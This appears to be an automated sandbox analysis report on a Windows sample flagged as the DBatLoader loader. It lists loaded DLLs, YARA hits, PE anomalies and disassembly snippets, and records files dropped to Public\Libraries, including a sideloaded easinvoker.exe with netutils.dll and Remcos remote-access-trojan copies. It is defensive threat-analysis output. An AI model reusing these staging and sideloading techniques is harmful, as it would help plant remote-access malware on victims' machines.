Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: udVh4Ist4Z.exe

Static file information: File size 1639424 > 1048576

Source: udVh4Ist4Z.exe

Static PE information: Raw size of DATA is bigger than: 0x100000 < 0x114800

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014027000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, easinvoker.exe.0.dr
Source:	Binary string: easinvoker.pdbH source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014027000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134401693.0000000014E81000.00000004.00000020.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, easinvoker.exe.0.dr

Data Obfuscation

Yara detected DBatLoader

Source: Yara match	File source: 0.2.udVh4Ist4Z.exe.2cbe308.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.udVh4Ist4Z.exe.2d60000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.udVh4Ist4Z.exe.2c59910.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.udVh4Ist4Z.exe.2c9ce08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.udVh4Ist4Z.exe.2cbe308.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2561591986.0000000002E21000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2296612772.0000000002D91000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2148072025.0000000002C60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

Source: nmfsxfjX.pif.0.dr

Static PE information: 0x9E9038DB [Sun Apr 19 22:51:07 2054 UTC]

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe

Code function: 0_2_02D77AC0 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,

0_2_02D77AC0

Source: initial sample

Static PE information: section where entry point is pointing to: .

Source: remcos.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x1768a
Source: netutils.dll.0.dr	Static PE information: real checksum: 0x2c00d should be: 0x1f08e
Source: nmfsxfjX.pif.0.dr	Static PE information: real checksum: 0x0 should be: 0x1768a
Source: udVh4Ist4Z.exe	Static PE information: real checksum: 0x0 should be: 0x19fb50
Source: Xjfxsfmn.PIF.5.dr	Static PE information: real checksum: 0x0 should be: 0x19fb50
Source: remcos.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x1768a

Source: easinvoker.exe.0.dr	Static PE information: section name: .imrsiv
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: /4
Source: netutils.dll.0.dr	Static PE information: section name: /19
Source: netutils.dll.0.dr	Static PE information: section name: /31
Source: netutils.dll.0.dr	Static PE information: section name: /45
Source: netutils.dll.0.dr	Static PE information: section name: /57
Source: netutils.dll.0.dr	Static PE information: section name: /70
Source: netutils.dll.0.dr	Static PE information: section name: /81
Source: netutils.dll.0.dr	Static PE information: section name: /92

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_0296009D push dword ptr [esi-5D3DF0BBh]; retf	0_3_029600B1
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02962BAE push dword ptr [esi-5D3D056Dh]; iretd	0_3_02962BB5
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_029623C9 push dword ptr [esi-5D3D05BBh]; iretd	0_3_029623DD
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02A8C6F9 push cs; retf	0_3_02A8C6FE
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02A7D0DF push esi; ret	0_3_02A7D0EC
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02A8802D push ss; retf	0_3_02A88053
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02A8C120 push es; retf	0_3_02A8C12B
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02A8C6F9 push cs; retf	0_3_02A8C6FE
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02A7D0DF push esi; ret	0_3_02A7D0EC
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02A8802D push ss; retf	0_3_02A88053
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02A8C120 push es; retf	0_3_02A8C12B
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D632F0 push eax; ret	0_2_02D6332C
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D8A2F4 push 02D8A35Fh; ret	0_2_02D8A357
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D7D20C push ecx; mov dword ptr [esp], edx	0_2_02D7D211
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D66374 push 02D663CFh; ret	0_2_02D663C7
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D66372 push 02D663CFh; ret	0_2_02D663C7
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D8A0AC push 02D8A125h; ret	0_2_02D8A11D
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D73027 push 02D73075h; ret	0_2_02D7306D
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D73028 push 02D73075h; ret	0_2_02D7306D
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D8A1F8 push 02D8A288h; ret	0_2_02D8A280
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D8A144 push 02D8A1ECh; ret	0_2_02D8A1E4
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D66740 push 02D66782h; ret	0_2_02D6677A
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D6673E push 02D66782h; ret	0_2_02D6677A
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D6D55C push 02D6D588h; ret	0_2_02D6D580
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D6C528 push ecx; mov dword ptr [esp], edx	0_2_02D6C52D
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D6CBA8 push 02D6CD2Eh; ret	0_2_02D6CD26
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D89B58 push 02D89D76h; ret	0_2_02D89D6E
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D79B58 push 02D79B90h; ret	0_2_02D79B88
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D6C8D6 push 02D6CD2Eh; ret	0_2_02D6CD26
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D778C8 push 02D77945h; ret	0_2_02D7793D
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D76904 push 02D769AFh; ret	0_2_02D769A7

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\extrac32.exe	File created: C:\Users\Public\Libraries\Xjfxsfmn.PIF			Jump to dropped file
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	File created: C:\Users\Public\Libraries\nmfsxfjX.pif			Jump to dropped file

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

Code function: 6_1_00406EB0 ShellExecuteW,URLDownloadToFileW,

6_1_00406EB0

Source: C:\Windows\SysWOW64\extrac32.exe	File created: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Jump to dropped file
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	File created: C:\Users\Public\Libraries\nmfsxfjX.pif	Jump to dropped file
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	File created: C:\ProgramData\Remcos\remcos.exe	Jump to dropped file
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	File created: C:\Users\Public\Libraries\easinvoker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	File created: C:\Users\Public\Libraries\netutils.dll	Jump to dropped file
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	File created: C:\Users\user\AppData\Roaming\Remcos\remcos.exe	Jump to dropped file

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

File created: C:\ProgramData\Remcos\remcos.exe

